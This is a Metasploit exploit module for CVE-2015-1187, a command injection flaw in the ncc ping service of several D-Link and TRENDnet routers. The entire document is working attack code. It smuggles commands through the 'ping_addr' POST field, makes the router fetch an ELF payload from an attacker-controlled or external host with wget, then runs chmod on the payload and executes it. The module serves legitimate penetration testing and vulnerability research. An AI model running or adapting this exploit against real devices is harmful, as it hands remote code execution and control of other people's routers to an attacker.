D-Link/TRENDnet NCC Service Command Injection

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking # Only tested on Emulated environment  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link/TRENDnet NCC Service Command Injection',  
'Description' => %q{  
This module exploits a remote command injection vulnerability on several routers. The  
vulnerability exists in the ncc service, while handling ping commands. This module has  
been tested on a DIR-626L emulated environment only. Several D-Link and TRENDnet devices  
are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L  
(Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link  
DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)  
v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link  
DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)  
v2.01b01  
},  
'Author' =>  
[  
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC  
'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC  
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-1187'],  
['BID', '72816'],  
['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],  
['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],  
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']  
],  
'Targets' =>  
# Only tested on D-Link DIR-626L where wget is available  
[  
[ 'Linux mipsel Payload',  
{  
'Arch' => ARCH_MIPSLE,  
'Platform' => 'linux'  
}  
],  
[ 'Linux mipsbe Payload',  
{  
'Arch' => ARCH_MIPSBE,  
'Platform' => 'linux'  
}  
],  
],  
'DisclosureDate' => 'Feb 26 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),  
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),  
OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),  
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])  
], self.class)  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
# unknown if other devices also using mini_httpd  
if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/  
return Exploit::CheckCode::Detected  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exec_command(cmd, timeout = 20)  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'encode_params' => false,  
'vars_post' => {  
'ccp_act' => 'ping_v6',  
'ping_addr' => '$(' + cmd + ')'  
}  
}, timeout)  
return res  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
  
def primer  
@payload_url = get_uri  
wget_payload  
end  
  
def exploit  
print_status("#{peer} - Accessing the vulnerable URL...")  
  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")  
end  
  
print_status("#{peer} - Exploiting...")  
  
@pl = generate_payload_exe  
@payload_url = ''  
@dropped_elf = rand_text_alpha(rand(5) + 3)  
  
if @pl.blank?  
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")  
end  
  
if datastore['EXTURL'].blank?  
begin  
Timeout.timeout(datastore['HTTPDELAY']) { super }  
rescue Timeout::Error  
end  
chmod_payload  
exec_payload  
else  
@payload_url = datastore['EXTURL']  
wget_payload  
chmod_payload  
exec_payload  
end  
end  
  
def wget_payload  
upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)  
  
cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"  
  
print_status("#{peer} - Downloading the payload to the target machine...")  
res = exec_command(cmd)  
  
if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/  
register_files_for_cleanup(upload_path)  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")  
end  
end  
  
def chmod_payload  
cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"  
  
print_status("#{peer} - chmod the payload...")  
res = exec_command(cmd, 1)  
  
unless res  
fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")  
end  
  
Rex.sleep(1)  
end  
  
def exec_payload  
cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)  
  
print_status("#{peer} - Executing the payload...")  
res = exec_command(cmd, 1)  
  
unless res  
fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")  
end  
  
Rex.sleep(1)  
end  
  
# Handle incoming requests to the HTTP server  
def on_request_uri(cli, request)  
print_status("Request: #{request.uri}")  
if request.uri =~ /#{Regexp.escape(get_resource)}/  
print_status('Sending payload...')  
send_response(cli, @pl)  
end  
end  
end  
`